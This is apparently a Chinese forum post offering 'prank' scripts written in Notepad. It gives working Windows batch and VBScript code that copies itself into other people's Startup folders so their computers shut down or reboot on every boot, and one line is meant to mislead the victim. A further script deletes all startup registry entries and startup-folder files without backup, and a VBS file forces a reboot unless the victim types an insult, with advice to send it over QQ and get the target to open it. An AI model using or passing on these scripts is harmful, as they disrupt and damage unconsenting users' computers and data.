给个记事本编写的整人程序？

在记事本输入以下内容并保存为.bat格式：放到启动项里，内容是“Shutdown.exe

-s

-t

300

-c

"系统余额不足，请投币继续使用，否则重启！"”（解释：3分钟后关机，关机提示为“系统余额不足，请投币继续使用，否则重启！”，这样每次重启后3分钟就又自动重启了。哈哈）

用法:

shutdown

<-i

|

-l

|

-s

|

-r

|

-a>

<-f>

<-m

\computername>

<-t

xx>

<-c

"comment">

<-d

up:xx:yy>

没有参数

显示此消息

-i

显示

GUI

界面，必须是第一个选项

-l

注销(不能与选项

-m

一起使用)

-s

关闭此计算机

-r

关闭并重启动此计算机

-a

放弃系统关机

-m

\computername

远程计算机关机/重启动/放弃

-t

xx

设置关闭的超时为

xx

秒

-c

"消息内容"

输入关机对话框中的消息内容(不能超127个字符)

-f

强制运行的应用程序关闭而没有警告

关闭计算机

shutdown

–s

邪恶啊！我真邪恶！

把bat文件加入别人电脑的启动项里

目的就是叫指定目标的电脑一开机就重启，或者关机

关键是这一句（xp适用）

copy %0 "%userprofile%\「开始」菜单\程序\启动"

，如果是win7系统将路径改为"%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"。

@echo off

msg * baby，早睡早起身体好。

rem 迷惑她，让她以为你发这个就是为说这句话的。

net start Schedule

if %time% geq 0:00 if %time% leq 6:00 shutdown /s /t 0

cls

copy %0 "C:\Documents and Settings\Administrator\「开始」菜单\程序\启动"

pause

@ ECHO OFF

@ ECHO.

@ ECHO. 说 明

@ ECHO --------------------------------------------------------------

@ ECHO本批处理会自动清理所有非必要的启动项目，仅保留输入法(ctfmon)。

@ ECHO 目的是减少不必要的资源占用，使系统运行顺畅。但清理掉的项目不作

@ ECHO 备份，请小心使用。

@ ECHO --------------------------------------------------------------

PAUSE

reg delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /va /f

reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /va /f

reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v ctfmon.exe /d C:\WINDOWS\system32\ctfmon.exe

reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg" /f

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\IMJPMIG8.1"

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\IMJPMIG8.1" /v command /d ""C:\WINDOWS\IME\imjp8_1\IMJPMIG.EXE" /Spoil /RemAdvDef /Migration32"

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\IMJPMIG8.1" /v hkey /d HKLM

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\IMJPMIG8.1" /v inimapping /d 0

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\IMJPMIG8.1" /v item /d IMJPMIG

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\IMJPMIG8.1" /v key /d SOFTWARE\Microsoft\Windows\CurrentVersion\Run

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\PHIME2002A"

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\PHIME2002A" /v command /d "C:\WINDOWS\system32\IME\TINTLGNT\TINTSETP.EXE /IMEName"

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\PHIME2002A" /v hkey /d HKLM

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\PHIME2002A" /v inimapping /d 0

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\PHIME2002A" /v item /d TINTSETP

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\PHIME2002A" /v key /d SOFTWARE\Microsoft\Windows\CurrentVersion\Run

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\PHIME2002ASync"

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\PHIME2002ASync" /v command /d ""C:\WINDOWS\IME\imjp8_1\IMJPMIG.EXE" /Spoil /RemAdvDef /Migration32"

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\PHIME2002ASync" /v hkey /d HKLM

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\PHIME2002ASync" /v inimapping /d 0

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\PHIME2002ASync" /v item /d TINTSETP

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\PHIME2002ASync" /v key /d SOFTWARE\Microsoft\Windows\CurrentVersion\Run

del "C:\Documents and Settings\All Users\「开始」菜单\程序\启动\*.*" /q /f

del "C:\Documents and Settings\Default User\「开始」菜单\程序\启动\*.*" /q /f

del "%userprofile%\「开始」菜单\程序\启动\*.*" /q /f

start C:\WINDOWS\system32\msconfig.exe

我不知道你是不是这个整人代码！

代码如下：

--------------------------------------------我是横线不要复制我------------------------------------------

on error resume next

dim WSHshellA

set WSHshellA = wscript.createobject("wscript.shell")

WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪，不说我是猪就一分钟关你机，不信，试试···"" ",0 ,true

dim a

do while(a <> "我是猪")

a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪"" ","说不说","不说",8000,7000)

msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"

loop

msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd.exe /c shutdown -a",0 ,true

msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，你确实是一头猪~"

--------------------------------------------我是横线不要复制我------------------------------------------

将横线内的代码复制到记事本内~~然后另存为名字随便你起记住后面的一定要加 .vbe

把文件传送给对方~~只要对方一打开一分钟就会关机，如上面说的，要你说那三个字，就不会关机了哈哈大家试试吧。

用QQ传送文件发送给他！叫他打开！

---